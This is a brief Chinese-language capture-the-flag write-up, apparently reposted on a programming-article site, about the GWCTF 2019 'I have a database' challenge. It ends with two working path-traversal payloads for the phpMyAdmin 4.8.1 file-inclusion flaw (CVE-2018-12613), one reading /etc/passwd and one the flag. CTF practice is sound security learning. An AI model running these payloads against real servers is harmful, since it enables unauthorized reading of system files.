[GWCTF 2019]我有一个数据库 phpMyAdmin 4.8.1后台文件包含漏洞

本文主要是介绍[GWCTF 2019]我有一个数据库 phpMyAdmin 4.8.1后台文件包含漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

一开始打开是乱码

之前题目做过修复乱码的，得到这个

用dirsearch扫一下

一开始我是看到robots.txt

访问一下

访问一下phpinfo

也没啥，看到phpmyadimin

访问一下

没啥思路，看了wp

看到phpMyAdmin 4.8.1后台文件包含漏洞（CVE-2018-12613）https://blog.csdn.net/qq_45521281/article/details/105780497

直接利用

?target=db_datadict.php%253f/../../../../../../../../etc/passwd

/?target=db_datadict.php%253f../../../../../../../../../../flag

这篇关于[GWCTF 2019]我有一个数据库 phpMyAdmin 4.8.1后台文件包含漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---